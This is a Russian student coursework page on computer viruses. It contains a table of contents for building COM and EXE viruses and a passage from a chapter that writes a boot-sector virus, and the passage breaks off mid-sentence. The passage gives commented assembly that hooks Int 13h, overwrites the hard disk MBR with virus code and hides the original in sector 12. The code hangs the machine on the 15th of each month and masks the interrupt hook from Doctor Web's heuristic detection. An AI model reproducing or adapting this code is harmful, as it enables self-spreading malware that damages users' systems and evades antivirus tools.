Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    сильна ) .

 

    Машинный код

 

               db 8ah                 ;

               db 9ch                 ;

    additor    db 00h                 ;

               db 7ch                 ;

 

    является кодом команды  :

    " mov bl,byte ptr [si + 7C00h] " и   модифицируется

    в зависимости от того, что именно удалось заразить

    вирусу - если загрузка  происходит с  винчестера,то

    код будет иметь вид  :

 

               db 8ah                 ;

               db 9ch                 ;

    additor    db 00h                 ;

               db 7ch                 ;

 

    а если с дискеты  :

 

               db 8ah                 ;

               db 9ch                 ;

    additor    db 55h                 ;

               db 7ch                 ;

 

    Дело в том, что  в  MBR жесткого диска тело  вируса

    располагается по смещению 0000h от начала сектора,

    а в BOOT - записи  дискеты  это же  смещение равно

    0055h ( см. п. 1.11 ).При заражении  того или иного

    диска вирус определяет  необходимое  значение поля

    " additor", которое потом  будет записано в  загру-

    зочный  сектор. Команда  " ret far " для  краткости

    записана в  виде машинного кода 0CBh.

    Идея установки собственного  стека заимствована  из

    настоящей MBR жесткого  диска. Если  оставить  стек

    " как есть ", то в  некоторых случаях система будет

    зависать при загрузке - проверено на практике !

 

 

           1.7 Защита от антивирусных программ

 

    В настоящее время  существует только одна распрост-

    раненная антивирусная  программа, с которой следует

    считаться при  разработке  нового вируса . Это всем

    известный DOCTOR WEB. Благодаря  довольно совершен-

    ному алгоритму эвристического  анализа, DOCTOR WEB

    способен обнаружить  новый вирус не только в   фай-

    лах, но и в загрузочных  секторах гибких и  жестких

    дисков компьютера. В  предыдущей главе  мы рассмот-

    рели, как можно скрыть присутствие вирусных  кодов

    в файлах и оперативной  памяти ЭВМ. Теперь, вероят-

    но, следует рассказать, как решается задача маски-

    ровки загрузочного вируса.

    После нескольких дней  экспериментов было  установ-

    лено, что при поиске  неизвестных загрузочных виру-

    сов DOCTOR WEB пытается определить  факт  перехвата

    прерывания INT 13h,при этом  антивирус даже не про-

    бует  пройти встроенным  отладчиком  подозрительную

    BOOT  или MBR. Если, по  мнению программы, INT 13h

    было  перехвачено, выдается сообщение о  возможном

    наличии в вашем компьютере  неизвестного  загрузоч-

    ного вируса. Отсюда следует  очевидный вывод :

 

    - Команду, задающую адрес  в таблице векторов  пре-

      рываний или выполняющую  модификацию вектора  INT

      13h, следует зашифровать,  и вирус найден  не бу-

      дет !

 

    Однако сделать корректный  шифровщик, хорошо  рабо-

    тающий на любом процессоре, не так просто. Поэтому

    задача была решена  следующим образом :

 

               mov si,vvv - 100h      ;

    mov word ptr es:[si],to_new_13h   ;Установим

    mov word ptr es:[si + 2],cs       ;вектор Int 13h

                                      ;на вирусный об-

                                      ;работчик

                                      ;

 

    Как это ни странно, DOCTOR WEB "не догадался", что

    команда

               mov si,vvv - 100h

    пересылает в SI число  04Ch, имеющее прямое отноше-

    ние к вектору прерывания Int 13h.

    Проверка приведенного  метода на практике  показала

    его пригодность.

 

 

               1.8 Перехватываем Int 13h

 

    Согласно описанному  выше алгоритму, настало  время

    перехватить прерывание Int 13h.Наш вирус будет ис-

    пользовать его для  отслеживания операций с  диске-

    тами. Итак :

 

    to_read_boot   equ   $ - my_prg   ;

                                      ;

    read_boot: push cs                ;DS = CS

               pop ds                 ;

                                      ;

               xor si,si              ;SI = 0

               mov es,si              ;ES = SI

                                      ;Получим вектор

                                      ;Int 13h и сох-

                                      ;раним его :

    mov bx,word ptr es:[4ch]          ;

    mov word ptr old_13h - 100h,bx    ;

    mov bx,word ptr es:[4eh]          ;

    mov word ptr old_13h_2 - 100h,bx  ;

                                      ;

               mov si,vvv - 100h      ;

    mov word ptr es:[si],to_new_13h   ;И установим

    mov word ptr es:[si + 2],cs       ;вектор Int 13h

                                      ;на вирусный об-

                                      ;работчик

                                      ;

 

    Прерывание здесь перехватывается  путем непосредст-

    венной модификации вектора  в таблице векторов пре-

    рываний. Константа " to_read_boot " задает  смеще-

    ние от начала вирусного  кода до метки "read_boot",

    с которой и начинается  код,выполняющий переопреде-

    ление  вектора Int 13h на вирусный  обработчик.До-

    полнительных пояснений работа фрагмента не  требу-

    ет.

 

 

            1.9 Читаем исходную BOOT - запись

 

    Сначала договоримся,  где  наш вирус будет   хранить

    настоящую  загрузочную   запись ( BOOT - для дискет

    или MBR - для жестких  дисков ).

    Обычно на нулевой дорожке нулевой стороны  винчес-

    тера используется только  самый первый сектор,а ос-

    тальные свободны. Поэтому  было бы естественно сох-

    ранить MBR в одном из  секторов нулевой дорожки.Нас

    заинтересовал сектор  с номером 12,но можно было бы

    взять и любой  другой. Только не  следует выбирать

    сектора с очень большими  номерами. Может случиться

    так, что, например  сектора с номером 100 на  диске

    просто  не  существует  ( особенно это относится к

    старым  накопителям  ). Оптимальный номер - не выше

    двадцати.

    Для дискет оригинальную BOOT - запись лучше  всего

    записывать в последний  сектор последней дорожки на

    первой стороне заражаемого  диска .

    Для того, чтобы с зараженного  диска можно было за-

    грузиться, вирус должен считать исходную загрузоч-

    ную запись в память  по адресу : 0000:7C00h и после

    выполнения необходимых  действий передать  ей упра-

    вление :

 

               mov dx,num_head - 100h ;Считаем настоя-

               mov cx,cyl_sect - 100h ;щий загрузочный

               mov bx,7c00h           ;сектор в память

               mov ax,0201h           ;по адресу

               int 13h                ;0000:7C00h

 

    В приведенном фрагменте  задействованы ячейки памя-

    ти :

 

    num_head   dw   0                 ;Здесь вирус

    cyl_sect   dw   0                 ;хранит номер

                                      ;головки,дорожки

                                      ;и сектора зара-

                                      ;женного диска ,

                                      ;в которых запи-

                                      ;сана настоящая

                                      ;загрузочная

                                      ;запись .

 

    Несколько позже мы  разберемся,как определяются по-

    мещаемые в них значения.

 

 

               1.10 Заражаем MBR винчестера

 

    Следуя алгоритму, настало  время проверить, зараже-

    на - ли  MBR первого   жесткого диска, и если нет  -

    заразить ее. Поэтому  приступим к делу :

 

               push cs                ;ES = CS

               pop es                 ;

                                      ;

               mov dl,0080h           ;Считаем MBR

               call cs:read_mbr       ;винчестера

               jc cs:to_quit          ;по адресу

                                      ;CS:0400h, при-

                                      ;чем загрузка

                                      ;сейчас может

                                      ;производиться

                                      ;и с дискеты !

    cmp byte ptr ds:[400h],33h        ;MBR уже зара-

               je cs:to_quit          ;жена ?

                                      ;

               mov dx,0080h           ;Нулевая головка

                                      ;первого жестко-

                                      ;го диска

               mov cx,000ch           ;Сектор 12,

                                      ;дорожка 0

               mov dl_save - 100h,dl  ;

                                      ;Сохраним эти

                                      ;параметры .

               call cs:write_mbr_last ;Кроме того,

                                      ;перепишем нас-

                                      ;тоящую MBR в

                                      ;сектор 12

               jc cs:to_quit          ;нулевой дорожки

                                      ;на нулевой сто-

                                      ;роне HDD .

               xor si,si              ;Сформируем код

               mov additor - 100h,00h ;для записи его

               mov cx,prg_lenght      ;

    copy_vir_mbr:                     ;на место исход-

               mov al,byte ptr ds:[si];ной MBR

    mov byte ptr ds:[si + 400h],al    ;

               inc si                 ;

               loop cs:copy_vir_mbr   ;

                                      ;

               mov dx,0080h           ;Запишем этот

               call cs:write_mbr      ;код в  первый

                                      ;сектор нулевой

                                      ;дорожки нулевой

                                      ;стороны винчес-

                                      ;тера

    to_quit:   mov ah,04h             ;Наш

               int 1ah                ;вирус при

               jc cs:bad_clock        ;загрузке по

               cmp dl,15h             ;15 - м числам

    vis:       je cs:vis              ;вешает систему

    bad_clock: popf                   ;Восстановим из

               pop es                 ;стека

               pop ds                 ;регистры

               pop si                 ;

               pop dx                 ;

               pop cx                 ;

               pop bx                 ;

               pop ax                 ;

                                      ;

               db   0eah              ;И отдадим упра-

               dw   7c00h             ;вление настоя-

               dw   0000h             ;щей загрузочной

                                      ;записи ( MBR )

 

    Как вы видите, вирус  достаточно  свободно " чувст-

    вует "  себя в памяти. В самом деле - свой код он

    записывает в младшие  512 байт первого " отрезанно-

    го " у  DOS килобайта,  а MBR  винчестера считывает

    в младшие 512 байт второго  килобайта. Так  сделано

    для большей понятности  программы и облегчения про-

    граммирования, но один  килобайт памяти  фактически

    тратится впустую ( что  с некоторой натяжкой  можно

    отнести к вредным  действиям нашего вируса ).

    Процедура  " read_mbr " читает  сектор 1 дорожки 0

    на нулевой стороне  указанного диска.

    Процедура " write_mbr " записывает данные из буфе-

    ра  по  адресу : CS:0400h в  сектор 1  дорожки 0 на

    нулевой стороне указанного  диска.

    Процедура " write_mbr_last " записывает данные  из

    буфера  по адресу : CS:0400h в заданный сектор то-

    го или иного диска  и заполняет ячейки памяти :

 

    num_head

    и cyl_sect.

 

    Для проверки зараженности MBR вирус сравнивает  ее

    первый байт  с первым  байтом  своего кода - числом

    33h.

    Далее, в  поле  " additor "  заносится  число 00h,

    необходимое для корректной  загрузки с винчестера.

    Стоит отметить,  что  заражение MBR происходит  ис-

    ключительно при загрузке  с зараженной дискеты. Ко-

    гда операционная система  будет загружена,вирус бу-

    дет инфицировать только  гибкие  диски при  попытке

    прочитать их содержимое.А  поскольку никому не при-

    дет в голову менять  жесткие диски во включенной  в

    сеть и работающей  машине, нет смысла  предусматри-

    вать заражение MBR в  резидентном  режиме. Если  же

    попробовать проделать вышеописанную  процедуру, то

    компьютер с высокой  вероятностью выйдет из строя,и

    вирус " погибнет " вместе с ним.

 

 

         1.11 Пишем  обработчик прерывания Int 13h

 

    Наконец все подготовительные  действия завершены, и

    мы можем заняться разработкой вирусного обработчи-

    ка прерывания Int 13h. Именно  этот обработчик дол-

    жен отслеживать  операции  с гибкими дисками и  при

    необходимости заражать  их.

    Начнем с выяснения  условий, при которых вирус  дол-

Информация о работе Вирусы